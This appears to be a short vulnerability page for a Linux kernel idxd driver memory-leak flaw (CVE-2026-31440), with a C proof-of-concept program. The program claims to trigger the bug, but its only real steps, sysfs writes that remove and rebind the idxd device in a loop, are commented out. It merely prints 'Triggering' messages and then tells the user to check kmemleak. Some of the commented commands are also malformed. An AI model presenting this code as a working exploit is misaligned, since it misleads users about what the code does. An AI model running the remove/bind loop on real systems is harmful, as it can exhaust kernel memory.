Linux内核idxd驱动内存泄漏漏洞 (CVE-2026-31440)

/* * PoC for CVE-2026-31440: Linux Kernel IDXD Memory Leak * Concept: Trigger device removal to cause memory leak. * Requires kernel with IDXD support and appropriate hardware. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { printf("[+] Attempting to trigger CVE-2026-31440...\n"); // In a real environment, this would involve sysfs operations to remove/bind // the idxd device repeatedly to leak kernel memory. // Example conceptual loop: for (int i = 0; i < 100; i++) { // system("echo 1 > /sys/bus/dsa/devices/idxd0/remove"); // system("echo 1 > /sys/bus/dsa/drivers/idxd/bind"); printf("Iteration %d: Triggering device reset/remove sequence...\n", i); usleep(100000); } printf("[+] Done. Check kernel logs or kmemleak for memory usage.\n"); return 0; }